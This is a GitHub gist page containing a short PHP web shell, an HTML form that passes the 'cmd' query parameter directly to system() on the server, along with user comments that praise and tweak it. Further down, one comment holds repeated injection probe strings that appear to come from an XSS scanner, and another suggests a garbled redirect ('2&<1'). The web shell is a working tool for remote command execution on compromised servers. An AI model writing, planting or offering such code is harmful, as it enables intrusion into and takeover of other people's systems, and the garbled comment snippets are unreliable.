-
Star
(208)
You must be signed in to star a gist -
Fork
(58)
You must be signed in to fork a gist
-
-
Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ | |
system($_GET['cmd'] . ' 2>&1'); | |
} | |
?> | |
</pre> | |
</body> | |
</html> |
It's better to have the isset function before accessing the global variable
$_GET['cmd']
like thisif(isset($_GET['cmd']))
👍Thanks!
Nice and simple
That's actually helpful. Thanks
You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.
You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.
Updated, thank you!
Nice.....
Thank you :) 👍
thanks
better:
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2&<1');
}
Adding 2&<1 you can see the error output.
'"></script>
'" rNnTRbt="roannATTR" x=yveepoB
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
rNnTRbt=1 x=d'">
It's better to have the isset function before accessing the global variable
$_GET['cmd']
like this
if(isset($_GET['cmd']))